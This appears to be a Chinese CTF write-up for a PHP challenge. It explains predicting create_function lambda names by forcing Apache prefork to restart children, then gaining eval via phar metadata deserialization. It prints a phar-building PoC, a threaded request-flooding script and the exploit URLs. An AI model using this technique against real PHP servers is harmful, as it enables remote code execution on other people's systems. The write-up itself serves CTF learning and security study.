highlight_file(__FILE__);
}

上来第一行就是一个姿势点orz
$FLAG = create_function("", 'die(/read_flag);');。根据php源码

image-20201113200341989

匿名函数会被设置为\x00lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不可控。
这里需要参考: Apache 工作的三种模式:Prefork、Worker、Event
可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。

随后代码初始化了用户沙箱。

题目中干扰最大的是check_session 函数。check_session 函数中具有反序列化的功能,但是 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知。因此无法利用这点进行反序列化构造我们的payload

然后代码有两个类User、Admin。其分别是父类与子类。admin类中存在敏感函数eval。然后是一个 $_GET["lucky"](); 这样的动态调用。

后面主要实现了两个功能,一个是写入一个文件,一个是返回文件路径。
且对文件前几个字符进行了 GIF89a 的限制

之前是0day,现在已经有很多文章都分析过 phar 拓展反序列化的原理。

upload函数中 file_get_contents 这类文件相关操作会触发 phar,从而进行反序列化。

poc.php

<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程

贴上 @orange 师傅的脚本

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = xx
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: yourip\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

加载我们服务器上的phar文件
http://117.50.3.97:8005/index.php?m=upload&url=http://ip'

利用脚本发出大量请求,使 apache 重新开启一个新的线程

最后访问
http://117.50.3.97:8005/index.php?m=upload&url=phar:///var/www/data/xxx/&lucky=%00lambda_1

refer
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_1
https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
https://blog.zsxsoft.com/post/38

Typecho 反序列化漏洞分析 360网络安全职业认证 - CSSJ
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×